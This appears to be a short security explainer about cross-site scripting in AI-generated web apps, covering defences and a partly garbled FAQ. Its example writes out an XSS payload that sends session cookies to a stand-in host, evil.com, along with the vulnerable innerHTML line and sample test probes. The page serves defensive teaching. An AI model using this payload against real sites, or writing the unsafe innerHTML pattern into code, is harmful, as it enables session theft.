Why It Matters for AI-Coded Apps
AI code generators frequently output raw user input into HTML without encoding. In our research scanning 1,000 vibe-coded apps, XSS was present in 61% of applications. LLMs tend to use innerHTML and dangerouslySetInnerHTML without sanitization.
Real-World Example
A search page renders user input directly: document.getElementById('results').innerHTML = 'Results for: ' + userQuery. An attacker submits <script>document.location='https://evil.com/?c='+document.cookie</script> as the search query, stealing session cookies from every user who views the page.
How to Detect and Prevent It
Use framework-native output encoding (React’s JSX auto-escapes by default). Never use innerHTML or v-html with user data. Implement Content-Security-Policy headers. Validate and sanitize all inputs server-side with libraries like DOMPurify for any HTML that must be rendered.
Frequently Asked Questions
What are the three types of XSS?
Does React prevent XSS automatically?
dangerouslySetInnerHTML, href={'javascript:...'}, or passing unsanitized data to eval() can still introduce XSS vulnerabilities.How do I test for XSS in my app?
<script>alert(1)</script> and '"><img src=x onerror=alert(1)> into every input field, URL parameter, and header your app processes.